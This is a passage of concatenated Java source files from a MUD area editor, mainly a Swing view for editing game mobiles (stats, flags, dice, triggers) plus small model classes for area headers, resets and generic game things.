net.s5games.mafia.ui.view.EditorView implements ActionListener, net.s5games.mafia.ui.view.mobView.ArmorForm, net.s5games.mafia.ui.view.mobView.DiceForm { private RaceTable theRaces; private JTextArea desc; private JScrollPane descHolder; private JTextField fields[]; private JButton newMobButton; private JButton deleteMobButton; private JButton nextButton; private JButton previousButton; private JButton triggerButton; private JButton duplicateButton; private JButton shopButton; private JButton diceButton; private JTextField levelField; private JTextField densityField; private JComboBox alignmentBox; private JComboBox sexBox; private JComboBox raceBox; private FlagChoice actFlags; private JTextField groupField; private JTextField hitRollField; private JComboBox damTypeBox; private JTabbedPane tabPane; private DiceField hitDice; private DiceField damageDice; private DiceField manaDice; private ArmorField armorField; private FlagChoice affectChoice; private SizeChooser sizeChoice; private JTextField mobMaterial; private JTextField mobWealth; private JTextField mobDeathCry; private JComboBox defaultPos; private JComboBox startPos; private JComboBox vnumBox; private IRVChoice irvPanel; private FlagChoice partChoice, formChoice, offenseChoice; private JPanel mainPanel; private MobileEquipmentPanel equipmentPanel; private MobInPanel inventoryPanel; ClassLoader loader; URL b1; public MobView(Area ar) { super(ar); loader = ClassLoader.getSystemClassLoader(); b1 = loader.getResource("dice.gif"); theRaces = RaceTable.Instance(); theRaces.loadRaceTable("race.txt"); tabPane = new JTabbedPane(); fields = new JTextField[4]; // [vnum], short, short, long, desc. constraint.insets = new Insets(0, 0, 0, 0); // Name fields[1] = new JTextField(20); JPanel f1panel = new JPanel(); f1panel.setLayout(new GridLayout(1, 1)); f1panel.setBorder(new TitledBorder("Name")); f1panel.add(fields[1]); // Short fields[2] = new JTextField(29); JPanel f2panel = new JPanel(); f2panel.setLayout(new GridLayout(1, 1)); f2panel.setBorder(new TitledBorder("Short Description")); f2panel.add(fields[2]); // Long fields[3] = new JTextField(50); JPanel f3panel = new JPanel(); f3panel.setLayout(new GridLayout(1, 1)); f3panel.setBorder(new TitledBorder("Long Description")); f3panel.add(fields[3]); fields[1].addFocusListener(new StringFieldFocusListener()); fields[2].addFocusListener(new StringFieldFocusListener()); fields[3].addFocusListener(new StringFieldFocusListener()); // Vnum box vnumBox = data.getVnumCombo("mob"); newMobButton = new JButton("New"); deleteMobButton = new JButton("Delete"); nextButton = new JButton("Next"); previousButton = new JButton("Back"); triggerButton = new JButton("Triggers"); duplicateButton = new JButton("Duplicate"); shopButton = new JButton("Shop"); diceButton = new JButton(new ImageIcon(b1)); levelField = new JMudNumberField(4); JPanel levelPanel = new JPanel(); levelPanel.setLayout(new GridLayout(1, 1)); levelPanel.setBorder(new TitledBorder("Level")); levelPanel.add(levelField); levelField.addFocusListener(new StringFieldFocusListener()); levelField.setToolTipText("The mobiles level, same as a players."); densityField = new JTextField(6); JPanel densityPanel = new JPanel(); densityPanel.setLayout(new GridLayout(1, 1)); densityPanel.setBorder(new TitledBorder("Density")); densityPanel.add(densityField); densityField.setEditable(false); densityField.setToolTipText("Displays how many of this mob are reset in the model."); sexBox = new JComboBox(MudConstants.sexArray); sexBox.setBorder(new TitledBorder("Sex")); alignmentBox = new JComboBox(MudConstants.alignmentArray); alignmentBox.setBorder(new TitledBorder("Alignment")); alignmentBox.setToolTipText("Selecting the mobiles role, from satanic to angelic"); raceBox = theRaces.getRaceComboBox(); raceBox.setBorder(new TitledBorder("Race")); groupField = new JMudNumberField(4); JPanel groupPanel = new JPanel(); groupPanel.setLayout(new GridLayout(1, 1)); groupPanel.setBorder(new TitledBorder("Group")); groupPanel.add(groupField); groupField.addFocusListener(new StringFieldFocusListener()); hitRollField = new JMudNumberField(4); JPanel hitRollPanel = new JPanel(); hitRollPanel.setLayout(new GridLayout(1, 1)); hitRollPanel.setBorder(new TitledBorder("HitRoll")); hitRollPanel.add(hitRollField); hitRollField.addFocusListener(new StringFieldFocusListener()); damTypeBox = DamTypeTable.getInstance().getDamTypeComboBox(); damTypeBox.setBorder(new TitledBorder("DamType")); actFlags = new FlagChoice(null, MudConstants.actFlagNames, MudConstants.actFlags, MudConstants.NUM_ACT_FLAGS, new ActionListener() { public void actionPerformed(ActionEvent e) { Mobile temp = data.getMobile(vnum); if (temp == null) return; temp.setActFlags(actFlags.getFlags()); updateIRV(); } }, 7); hitDice = new net.s5games.mafia.ui.view.mobView.DiceField("Hit", this); damageDice = new DiceField("Damage", this); manaDice = new DiceField("Mana", this); armorField = new net.s5games.mafia.ui.view.mobView.ArmorField(this); armorField.addFocusListener(new StringFieldFocusListener()); affectChoice = new FlagChoice(null, MudConstants.affectFlagNames, MudConstants.affectFlags, MudConstants.NUM_AFFECTS, new ActionListener() { public void actionPerformed(ActionEvent e) { Mobile temp = data.getMobile(vnum); if (temp == null) return; temp.setAffectedBy(affectChoice.getFlags()); updateIRV(); } }, 6); irvPanel = new IRVChoice("Immune/Resist/Vulnerable", MudConstants.IRVNames, MudConstants.IRVFlags, MudConstants.NUM_IRV, new ActionListener() { public void actionPerformed(ActionEvent e) { Mobile temp = data.getMobile(vnum); if (temp == null) return; temp.setImmunityFlags(irvPanel.getFlags(0)); temp.setResistanceFlags(irvPanel.getFlags(1)); temp.setVulnerabilityFlags(irvPanel.getFlags(2)); updateIRV(); } }, 6); partChoice = new FlagChoice(null, MudConstants.partNames, MudConstants.partFlags, MudConstants.NUM_PARTS, new ActionListener() { public void actionPerformed(ActionEvent e) { Mobile temp = data.getMobile(vnum); if (temp == null) return; temp.setParts(partChoice.getFlags()); updateIRV(); } }, 8); formChoice = new FlagChoice(null, MudConstants.formNames, MudConstants.formFlags, MudConstants.NUM_FORMS, new ActionListener() { public void actionPerformed(ActionEvent e) { Mobile temp = data.getMobile(vnum); if (temp == null) return; temp.setForm(formChoice.getFlags()); updateIRV(); } }, 7); offenseChoice = new FlagChoice(null, MudConstants.offenseNames, MudConstants.offenseFlags, MudConstants.NUM_OFFENSE, new ActionListener() { public void actionPerformed(ActionEvent e) { Mobile temp = data.getMobile(vnum); if (temp == null) return; temp.setOffensiveFlags(offenseChoice.getFlags()); updateIRV(); } }, 7); desc = new JTextArea(5, 20); desc.addFocusListener(new StringFieldFocusListener()); descHolder = new JScrollPane(desc); descHolder.setBorder(new EtchedBorder(EtchedBorder.RAISED)); sizeChoice = new SizeChooser(); mobMaterial = new JMudTextField(8); JPanel materialPanel = new JPanel(); materialPanel.setLayout(new GridLayout(1, 1)); materialPanel.setBorder(new TitledBorder("Material")); materialPanel.add(mobMaterial); mobMaterial.addFocusListener(new StringFieldFocusListener()); mobWealth = new JMudNumberField(4); JPanel wealthPanel = new JPanel(); wealthPanel.setLayout(new GridLayout(1, 1)); wealthPanel.setBorder(new TitledBorder("Wealth")); wealthPanel.add(mobWealth); mobWealth.addFocusListener(new StringFieldFocusListener()); mobDeathCry = new JMudTextField(30); JPanel deathCryPanel = new JPanel(); deathCryPanel.setLayout(new GridLayout(1, 1)); deathCryPanel.setBorder(new TitledBorder("Death Cry")); deathCryPanel.add(mobDeathCry); mobDeathCry.addFocusListener(new StringFieldFocusListener()); defaultPos = new JComboBox(MudConstants.positionNames); defaultPos.setBorder(new TitledBorder("Default Pos.")); startPos = new JComboBox(MudConstants.positionNames); startPos.setBorder(new TitledBorder("Start. Pos.")); inventoryPanel = new MobInPanel(data, this); /******************************************************* * Layout. *******************************************************/ mainPanel = new JPanel(); mainPanel.setLayout(layout); // Browser Box buttonPanel = Box.createHorizontalBox(); buttonPanel.add(vnumBox); buttonPanel.add(previousButton); buttonPanel.add(nextButton); buttonPanel.add(newMobButton); buttonPanel.add(deleteMobButton); buttonPanel.add(triggerButton); buttonPanel.add(duplicateButton); buttonPanel.add(shopButton); buttonPanel.add(diceButton); JPanel row1 = new JPanel(); row1.setLayout(new MigLayout()); row1.add(raceBox); row1.add(sexBox); row1.add(startPos); row1.add(defaultPos); row1.add(alignmentBox); row1.add(sizeChoice); row1.add(damTypeBox); JPanel row2 = new JPanel(); row2.setLayout(new MigLayout()); row2.add(levelPanel); row2.add(f1panel); row2.add(f2panel); JPanel row3 = new JPanel(); row3.setLayout(new MigLayout()); row3.add(materialPanel); row3.add(f3panel); JPanel row4 = new JPanel(); row4.setLayout(new MigLayout()); row4.add(deathCryPanel); row4.add(hitRollPanel); row4.add(groupPanel); row4.add(wealthPanel); JPanel row5 = new JPanel(); row5.setLayout(new MigLayout()); row5.add(hitDice); row5.add(damageDice); row5.add(manaDice); row5.add(armorField); JPanel actoffPanel = new JPanel(); actoffPanel.setLayout(new MigLayout()); actoffPanel.add(actFlags, "wrap"); actoffPanel.add(offenseChoice); tabPane.addTab("Act & Offense", null, actoffPanel, "mobile act and offense flags"); tabPane.addTab("Affect Flags", null, affectChoice, "Mobile Affected By Flags"); tabPane.addTab("Description", null, descHolder, "Mobile description"); tabPane.addTab("Immune/Resist/Vulnerable", null, irvPanel, "Mobiles immune/resist/vulnerable flags"); tabPane.addTab("Parts", null, partChoice, "Mobile parts"); tabPane.addTab("Form", null, formChoice, "Mobile form"); tabPane.addTab("Inventory", null, inventoryPanel, "Mobile inventory"); equipmentPanel = new MobileEquipmentPanel(); equipmentPanel.setBorder(new TitledBorder("Equipment:")); insertAt(0, 0, 1, 1, row1, true, true); insertAt(0, 1, 1, 1, row2, true); insertAt(0, 2, 1, 1, row3, true); insertAt(0, 3, 1, 1, row4, true); insertAt(0, 4, 1, 1, row5,true); insertAt(0, 5, 1, 1, tabPane,true); this.setLayout(new MigLayout()); this.add(buttonPanel, "wrap,span"); this.add(equipmentPanel); this.add(mainPanel,"wrap, growx"); addListeners(); vnum = -1; update(); } public void insertAt(int x, int y, int width, int height, Component i) { constraint.gridx = x; constraint.gridy = y; constraint.gridwidth = width; constraint.gridheight = height; layout.setConstraints(i, constraint); mainPanel.add(i); } public void update() { if (data.getMobCount() == 0) { // set defaults. groupField.setText("0"); levelField.setText("0"); densityField.setText("0"); hitRollField.setText("0"); mobWealth.setText("0"); mobMaterial.setText("nothing"); fields[1].setText("no mob loaded"); fields[2].setText("no mob loaded"); fields[3].setText("no mob loaded"); desc.setText("no mob loaded"); mobDeathCry.setText("no mob loaded"); // theDice.update(); actFlags.setFlags(0); affectChoice.setFlags(0); offenseChoice.setFlags(0); partChoice.setFlags(0); formChoice.setFlags(0); irvPanel.setFlags(0, 0); irvPanel.setFlags(0, 1); irvPanel.setFlags(0, 2); shopButton.setEnabled(false); setEnabled(false); } else { if (vnum == -1 || vnum < data.getLowVnum() || vnum > data.getHighVnum()) vnum = data.getFirstMobVnum(); Mobile temp = (Mobile) vnumBox.getSelectedItem(); if (temp == null || temp.getVnum() != vnum) temp = data.getMobile(vnum); setEnabled(true); sexBox.setSelectedIndex(temp.getSex()); startPos.setSelectedIndex(MudConstants.arrayLookupPos(temp.getStartPosition())); defaultPos.setSelectedIndex(MudConstants.arrayLookupPos(temp.getDefaultPosition())); sizeChoice.setCurrentSize(temp.getSize()); alignmentBox.setSelectedIndex(MudConstants.arrayAlignmentLookup(temp.getAlignment())); fields[1].setText(temp.getName()); fields[2].setText(temp.getShortDesc()); fields[3].setText(temp.getLongDesc()); mobDeathCry.setText(temp.getDeathCry()); levelField.setText(Integer.toString(temp.getLevel())); densityField.setText(Integer.toString(temp.getMax())); hitRollField.setText(Integer.toString(temp.getHitRoll())); groupField.setText(Integer.toString(temp.getGroup())); mobWealth.setText(Integer.toString(temp.getWealth())); // 4damtype damTypeBox.setSelectedItem(temp.getDamageType()); mobMaterial.setText(temp.getMaterial()); raceBox.setSelectedItem(temp.getRace()); desc.setText(temp.getDescription()); updateIRV(); for (Armor at : Armor.values()) { armorField.setValue(at, temp.getAC(at)); } hitDice.setValue(temp.getHitDice()); damageDice.setValue(temp.getDamageDice()); manaDice.setValue(temp.getManaDice()); if (temp.getShop() != null) shopButton.setEnabled(true); else shopButton.setEnabled(false); if (data.getMprogCount() > 0) triggerButton.setEnabled(true); else triggerButton.setEnabled(false); equipmentPanel.update(data,temp); } vnumBox.setSelectedItem(data.getMobile(vnum)); inventoryPanel.update(vnum); this.validate(); equipmentPanel.validate(); repaint(); } public void setEnabled(boolean value) { groupField.setEnabled(value); levelField.setEnabled(value); densityField.setEnabled(value); hitRollField.setEnabled(value); mobWealth.setEnabled(value); mobMaterial.setEnabled(value); fields[1].setEnabled(value); fields[2].setEnabled(value); fields[3].setEnabled(value); desc.setEnabled(value); mobDeathCry.setEnabled(value); hitDice.setEnabled(value); damageDice.setEnabled(value); manaDice.setEnabled(value); actFlags.setEnabled(value); affectChoice.setEnabled(value); offenseChoice.setEnabled(value); partChoice.setEnabled(value); formChoice.setEnabled(value); irvPanel.setEnabled(value); triggerButton.setEnabled(value); sexBox.setEnabled(value); startPos.setEnabled(value); defaultPos.setEnabled(value); sizeChoice.setEnabled(value); alignmentBox.setEnabled(value); raceBox.setEnabled(value); deleteMobButton.setEnabled(value); nextButton.setEnabled(value); previousButton.setEnabled(value); damTypeBox.setEnabled(value); for (int a = 0; a < 6; a++) { tabPane.setEnabledAt(a, value); } vnumBox.setEnabled(value); equipmentPanel.setEnabled(value); inventoryPanel.setEnabled(value); armorField.setEnabled(value); } private void updateIRV() { Mobile temp = (Mobile) vnumBox.getSelectedItem(); if (temp == null || temp.getVnum() != vnum) temp = data.getMobile(vnum); actFlags.setFlags(temp.getActFlags()); affectChoice.setFlags(temp.getAffectedBy()); offenseChoice.setFlags(temp.getOffensiveFlags()); partChoice.setFlags(temp.getParts()); formChoice.setFlags(temp.getForm()); irvPanel.setFlags(temp.getImmunityFlags(), 0); irvPanel.setFlags(temp.getResistanceFlags(), 1); irvPanel.setFlags(temp.getVulnerabilityFlags(), 2); } private void addListeners() { sexBox.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { Mobile temp = data.getMobile(vnum); if (temp == null) return; temp.setSex(sexBox.getSelectedIndex()); update(); } }); alignmentBox.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { Mobile temp = data.getMobile(vnum); if (temp == null) return; temp.setAlignment(MudConstants.alignmentLookup(alignmentBox.getSelectedIndex())); update(); } }); raceBox.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { Mobile temp = data.getMobile(vnum); if (temp == null) return; if (temp.getRace() != raceBox.getSelectedItem()) { temp.setRace((Race) raceBox.getSelectedItem()); } updateIRV(); } }); diceButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { Mobile mob = data.getMobile(vnum); if (mob == null) return; int level = mob.getLevel() <= 1 ? 0 : mob.getLevel()-1; // Hitpoints setDice("hit", new Dice(DiceTables.MOBstat_table[level][0])); // Armor setArmor(Armor.PIERCE, Integer.parseInt(DiceTables.MOBstat_table[level][1])/10); setArmor(Armor.BASH, Integer.parseInt(DiceTables.MOBstat_table[level][1])/10); setArmor(Armor.SLASH, Integer.parseInt(DiceTables.MOBstat_table[level][1])/10); setArmor(Armor.MAGIC, Integer.parseInt(DiceTables.MOBstat_table[level][2])/10); // Damage setDice("damage", new Dice(DiceTables.MOBstat_table[level][3])); // Mana setDice("mana", new Dice(DiceTables.MOBstat_table[level][4])); update(); } }); shopButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { Mobile mob = data.getMobile(vnum); if (mob == null) return; Object[] options = {"CLOSE"}; JOptionPane.showOptionDialog(null, mob.getShop().getPanel(), "Shop Data for: " + mob.getShortDesc(), JOptionPane.DEFAULT_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, options[0]); } }); duplicateButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { int newVnum = data.getFreeMobileVnum(); if (newVnum == -1) { inform("You are out of vnums!"); return; } Mobile temp = new Mobile(newVnum, data, vnum); data.insert(temp); vnum = newVnum; update(); } }); triggerButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { TriggerPanel mp = new TriggerPanel(vnum, data); Mobile mob = data.getMobile(vnum); if (mob == null) return; Object[] options = {"CLOSE"}; JOptionPane.showOptionDialog(null, mp, "Mprog Triggers for: " + mob.getShortDesc(), JOptionPane.DEFAULT_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, options[0]); } }); previousButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { if (vnum <= data.getFirstMobVnum()) return; int temp = vnum - 1; while (data.getMobile(temp) == null && temp >= data.getFirstMobVnum()) temp--; if (temp >= data.getFirstMobVnum()) vnum = temp; update(); } }); nextButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { if (vnum >= data.getHighVnum()) return; int temp = vnum + 1; while (data.getMobile(temp) == null && temp <= data.getHighVnum()) temp++; if (temp <= data.getHighVnum()) vnum = temp; update(); } }); newMobButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { // Get the lowest available mob vnum int vnum = data.getFreeMobileVnum(); if (vnum == -1) { inform("You are out of vnums!"); return; } Mobile temp = new Mobile(vnum, data); temp.setRace(RaceTable.defaultRace()); data.insert(temp); update(vnum); } }); deleteMobButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { if (!confirm("Please confirm Mob deletion. All resets will be lost.")) return; data.deleteMobile(vnum); vnum = -1; update(); } }); sizeChoice.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { Mobile temp = data.getMobile(vnum); if (temp == null) return; temp.setSize(sizeChoice.getSelectedSize()); } }); damTypeBox.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { Mobile temp = data.getMobile(vnum); if (temp == null) return; temp.setDamageType((String) damTypeBox.getSelectedItem()); updateIRV(); } }); vnumBox.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { Mobile temp = (Mobile) vnumBox.getSelectedItem(); if (temp == null) return; vnum = temp.getVnum(); update(); } }); startPos.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { Mobile temp = data.getMobile(vnum); if (temp == null) return; temp.setStartPosition(MudConstants.positionFlags[startPos.getSelectedIndex()]); } }); defaultPos.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { Mobile temp = data.getMobile(vnum); if (temp == null) return; temp.setDefaultPosition(MudConstants.positionFlags[defaultPos.getSelectedIndex()]); } }); } public void actionPerformed(ActionEvent e) { } /** * The armorfield determined there was a change, so this is called. * * @param type The ArmorType that changed. * @param value The new value */ public void setArmor(Armor type, int value) { Mobile mob = (Mobile) vnumBox.getSelectedItem(); if (mob == null) { return; } mob.setAC(type, value); } /** * A dice field determined there was a change, so this is called. * * @param name alias of dice field that changed * @param dice new dice value. */ public void setDice(String name, Dice dice) { Mobile mob = (Mobile) vnumBox.getSelectedItem(); if (mob == null) { return; } if (name.equalsIgnoreCase("hit")) { mob.setHitDice(dice); } else if (name.equalsIgnoreCase("mana")) { mob.setManaDice(dice); } else if (name.equalsIgnoreCase("damage")) { mob.setDamageDice(dice); } } class DeathCryPanel extends JPanel { Mobile mob; String dCry; JTextField field; public DeathCryPanel() { mob = data.getMobile(vnum); dCry = mob.getDeathCry(); field = new JTextField(40); field.setBorder(new TitledBorder("Mobile DeathCry:")); this.add(field); if (dCry != null) field.setText(dCry); } public String getDeathCry() { return field.getText(); } } class StringFieldFocusListener implements FocusListener { public void focusGained(FocusEvent e) { } public void focusLost(FocusEvent e) { Mobile mob = data.getMobile(vnum); if (mob == null) return; String newS, oldS; int oldVal, newVal; if (e.getSource() instanceof JTextArea) { oldS = mob.getDescription(); newS = desc.getText(); if (newS.equals("")) { update(); return; } if (newS.equalsIgnoreCase(oldS)) return; else mob.setDescription(newS); return; } JTextField field = (JTextField) e.getSource(); newS = field.getText(); if (newS.equals("")) { update(); return; } if (field == fields[1]) { oldS = mob.getName(); if (newS.equalsIgnoreCase(oldS)) return; else mob.setName(newS); } else if (field == fields[2]) { oldS = mob.getShortDesc(); if (newS.equalsIgnoreCase(oldS)) return; else mob.setShortName(newS); vnumBox.updateUI(); } else if (field == fields[3]) { oldS = mob.getLongDesc(); if (newS.equalsIgnoreCase(oldS)) return; else mob.setLongName(newS); } else if (field == mobMaterial) { oldS = mob.getMaterial(); if (newS.equalsIgnoreCase(oldS)) return; else mob.setMaterial(newS); // one argument this. } else if (field == mobDeathCry) { oldS = mob.getDeathCry(); if (newS.equalsIgnoreCase(oldS)) return; else mob.setDeathCry(newS); // one argument this. } else { try { newVal = Integer.parseInt(newS); if (field == mobWealth) { oldVal = mob.getWealth(); if (newVal == oldVal) return; else mob.setWealth(newVal); } else if (field == groupField) { oldVal = mob.getGroup(); if (newVal == oldVal) return; else mob.setGroup(newVal); } else if (field == levelField) { oldVal = mob.getLevel(); if (newVal == oldVal) return; else mob.setLevel(newVal); } else if (field == hitRollField) { oldVal = mob.getHitRoll(); if (newVal == oldVal) return; else mob.setHitRoll(newVal); } else return; } catch (Exception evt1) { update(); return; } } // else update(); } // focus lost } // class }<file_sep>/src/net/s5games/mafia/model/AreaHeader.java /** * <NAME> * AreaHeader.java * Area Editor Project, spring 2002 * * @author gfrick * 12/19/15 * This is an AreaHeader bean. */ package net.s5games.mafia.model; public class AreaHeader { private String fileName; private String pathName; private String areaName; private String builder; private int lowVnum; private int highVnum; private int security; private int flags; public AreaHeader() { this.reset(); } public void reset() { lowVnum = 0; highVnum = 0; fileName = "newarea.are"; pathName = null; areaName = "NewArea"; builder = "Mafia"; flags = 0; security = 0; } public String getAreaName() { return areaName; } public String getBuilder() { return builder; } public String getFileName() { return fileName; } public String getPathName() { return pathName; } public int getSecurity() { return security; } public int getLowVnum() { return lowVnum; } public int getHighVnum() { return highVnum; } public int getFlags() { return flags; } public void setBuilder(String newbuilder) { builder = newbuilder; } public void setAreaName(String newname) { areaName = newname; } public void setFileName(String newname) { fileName = newname; } public void setPathName(String newpath) { pathName = newpath; } public void setVnumRange(int newLowVnum, int newHighVnum) { if (newHighVnum < newLowVnum) { setVnumRange(newHighVnum, newLowVnum); return; } lowVnum = newLowVnum; highVnum = newHighVnum; } public void setSecurity(int newSecurity) { if (newSecurity >= 1 && newSecurity <= 9) { security = newSecurity; } } public void setFlags(int newFlags) { flags = newFlags; } }<file_sep>/src/net/s5games/mafia/ui/view/mobView/TriggerPanel.java package net.s5games.mafia.ui.view.mobView; import net.s5games.mafia.model.MobTrigger; import net.s5games.mafia.model.MudConstants; import net.s5games.mafia.model.*; import net.miginfocom.swing.MigLayout; import javax.swing.*; import javax.swing.border.TitledBorder; import javax.swing.event.ListSelectionEvent; import javax.swing.event.ListSelectionListener; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; public class TriggerPanel extends JPanel { Area area; int vnum; Mobile mob; JComboBox typeBox; JTextField phraseField, mprogVnum; JList currentList; JButton addButton, removeButton, clearButton; public TriggerPanel(int vnum, Area data) { area = data; this.vnum = vnum; mob = data.getMobile(vnum); addButton = new JButton("Add/Update"); removeButton = new JButton("Remove"); clearButton = new JButton("New"); typeBox = new JComboBox(MudConstants.triggerNames); phraseField = new JTextField(30); mprogVnum = new JTextField(6); currentList = new JList(); typeBox.setBorder(new TitledBorder("Type")); mprogVnum.setBorder(new TitledBorder("Script")); phraseField.setBorder(new TitledBorder("Phrase/Chance/etc")); JScrollPane listPane = new JScrollPane(currentList); listPane.setBorder(new TitledBorder("Current Triggers")); setLayout(new MigLayout()); add(typeBox); add(mprogVnum); add(phraseField, "wrap"); add(listPane, "wrap, growx, span"); add(addButton); add(removeButton); add(clearButton); addButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { MobTrigger temp; int mType = MudConstants.triggerFlags[typeBox.getSelectedIndex()]; int mVnum = Integer.parseInt(mprogVnum.getText()); String mPhrase = phraseField.getText(); if (currentList.getSelectedValue() != null) { temp = (MobTrigger) currentList.getSelectedValue(); temp.setType(mType); temp.setVnum(mVnum); temp.setPhrase(mPhrase); } else { temp = new MobTrigger(mType, mVnum, mPhrase); mob.addTrigger(temp); } clearData(); } }); removeButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { MobTrigger temp = (MobTrigger) currentList.getSelectedValue(); if (temp != null) { mob.removeTrigger(temp); clearData(); } } }); clearButton.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { clearData(); } }); currentList.addListSelectionListener(new ListSelectionListener() { public void valueChanged(ListSelectionEvent e) { MobTrigger temp = (MobTrigger) currentList.getSelectedValue(); if (temp != null) { phraseField.setText(temp.getPhrase()); typeBox.setSelectedItem(MobTrigger.sLookup(temp.getType())); mprogVnum.setText(Integer.toString(temp.getVnum())); } } }); clearData(); } private void clearData() { if (mob.getTriggers().size() == 0) { String[] str = new String[0]; currentList.setListData(str); } else { currentList.setListData(mob.getTriggers().toArray(new MobTrigger[mob.getTriggers().size()])); } phraseField.setText(""); typeBox.setSelectedIndex(0); mprogVnum.setText(""); } }<file_sep>/src/net/s5games/mafia/model/MudThing.java // <NAME> // MudThing.java (abstract) // Area Editor Project, Spring 2002 // // This is an abstract class to represent an object, room, or mobile in // the model editor. It may represent more also. package net.s5games.mafia.model; import net.s5games.mafia.beans.Armor; import java.util.Map; import java.util.TreeMap; public abstract class MudThing { protected Area myarea; protected String name; protected String shortDesc; protected String longDesc; protected String description; protected Size size; public int vnum; protected int level; protected int affectedBy; protected int affectedBy2; protected int alignment; protected String material; protected int[] armor; protected Map<String, String> extraDescriptions; protected MudThing() { armor = new int[Armor.values().length]; extraDescriptions = new TreeMap<String, String>(); } protected MudThing(int newVnum) { this(); vnum = newVnum; name = Integer.toString(vnum); shortDesc = name; longDesc = "A " + name; description = longDesc; level = 1; material = "nothing"; size = new Size(1); } public Area getArea() { return myarea; } public void testPrint() { System.out.println("Vnum " + vnum + "- " + name + ", " + shortDesc); } public String getName() { return name; } public String getShortDesc() { return shortDesc; } public String getLongDesc() { return longDesc; } public String getDescription() { return description; } public String toString() { return Integer.toString(vnum) + " - " + getName(); } public Size getSize() { return size; } public int getVnum() { return vnum; } public int getLevel() { return level; } public int getAffectedBy() { return affectedBy; } public int getAffectedBy2() { return affectedBy2; } public int getAlignment() { return alignment; } public int getAC(Armor which) { return armor[which.ordinal()]; } public int[] getArmor() { return armor; } public String getMaterial() { return material; } public void setName(String newname) { if (newname.indexOf('{') != -1) return; name = newname; } public void setShortName(String newshort) { shortDesc = newshort; } public void setLongName(String newlong) { longDesc = newlong; } public void setDescription(String newdesc) { description = newdesc; } public void setSize(Size newsize) { size = newsize; } public void setVnum(int newvnum) { if (newvnum < myarea.getLowVnum() || newvnum > myarea.getHighVnum()) return; vnum = newvnum; } public void setLevel(int newlevel) { if (newlevel < 1 || newlevel > 999) return; level = newlevel; } public void setAffectedBy(int newAffectedBy) { affectedBy = newAffectedBy; } public void setAffectedBy2(int newAffectedBy2) { affectedBy2 = newAffectedBy2; } public void setAlignment(int newAlignment) { if (newAlignment < -1000 || newAlignment > 1000) return; alignment = newAlignment; } public void setAC(Armor which, int newArmorClass) { armor[which.ordinal()] = newArmorClass; } public void setMaterial(String newMaterial) { material = RomIO.oneArgument(newMaterial); } public static String vnumString(int vnum) { if (vnum < 10) return "00000" + vnum; else if (vnum < 100) return "0000" + vnum; else if (vnum < 1000) return "000" + vnum; else if (vnum < 10000) return "00" + vnum; else if (vnum < 100000) return "0" + vnum; else return Integer.toString(vnum); } public Map<String, String> getExtraDescriptions() { return extraDescriptions; } public void setExtraDescriptions(Map<String, String> extraDescriptions) { this.extraDescriptions = extraDescriptions; } }<file_sep>/src/net/s5games/mafia/model/MudReset.java package net.s5games.mafia.model; public class MudReset { String command; int arg1, arg2, arg3, arg4; int chance; // animud only. public MudReset(String c, int a1, int a2, int a3, int a4, int newChance) { command = c; arg1 = a1; arg2 = a2; arg3 = a3; arg4 = a4; chance = newChance; // System.out.println("I'm a new reset: " + toString() ); } public String getCommand() { return command; } public int getArg(int which) { switch (which) { case 1: return arg1; case 2: return arg2; case 3: return arg3; case 4: return arg4; default: throw new ArrayIndexOutOfBoundsException("bad value to get arg in resets"); } } public void setArg(int which, int newValue) { switch (which) { case 1: arg1 = newValue; return; case 2: arg2 = newValue; return; case 3: arg3 = newValue; return; case 4: arg4 = newValue; return; default: return; } } private String IA(int a) { return Integer.toString(a); } public String toString() { String temp; switch (command.charAt(0)) { case 'M': { temp = "M 0 " + IA(arg1) + " " + IA(arg2) + " " + IA(arg3) + " " + IA(arg4); break; } case 'O': { // obj // room temp = "O " + IA(chance) + " " + IA(arg1) + " 0 " + IA(arg3); break; } case 'P': { temp = "P " + IA(chance) + " " + IA(arg1) + " " + IA(arg2) + " " + IA(arg3) + " " + IA(arg4); break; } case 'G': { temp = "G " + IA(chance) + " " + IA(arg1) + " 0"; break; } case 'E': { temp = "E " + IA(chance) + " " + IA(arg1) + " 0 " + IA(arg3); break; } case 'D': { temp = "D 0 " + IA(arg1) + " " + IA(arg2) + " " + IA(arg3); break; } case 'R': { temp = "R 0 " + IA(arg1) + " " + IA(arg3); break; } default: { temp = "BAD COMMAND IN RESET."; break; } } return temp; } }<file_sep>/aeditor_stillrom/src/net/s5games/mafia/ui/MobEqPanel.java package net.s5games.mafia.ui; import net.s5games.mafia.model.MudConstants; import net.s5games.mafia.model.Area; import net.s5games.mafia.model.Mobile; import net.s5games.mafia.model.MudObject; import javax.swing.*; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.util.Vector; /* * <NAME> * Custom component for a screen to equip a mobile. */ public class MobEqPanel extends JPanel { JComboBox[] wearSlots; Vector[] wearData; Area area; int vnum; JLabel wearLightLabel; JLabel wearHeadLabel; JLabel wearNeckLabel1; JLabel wearNeckLabel2; JLabel wearRingLabel1; JLabel wearRingLabel2; JLabel wearTorsoLabel; JLabel wearLegsLabel; JLabel wearFeetLabel; JLabel wearHandsLabel; JLabel wearArmsLabel; JLabel wearShieldLabel; JLabel wearBodyLabel; JLabel wearWaistLabel; JLabel wearWristLabel1; JLabel wearWristLabel2; JLabel wearWieldLabel; JLabel wearHeldLabel; JLabel wearSurroundLabel; JLabel 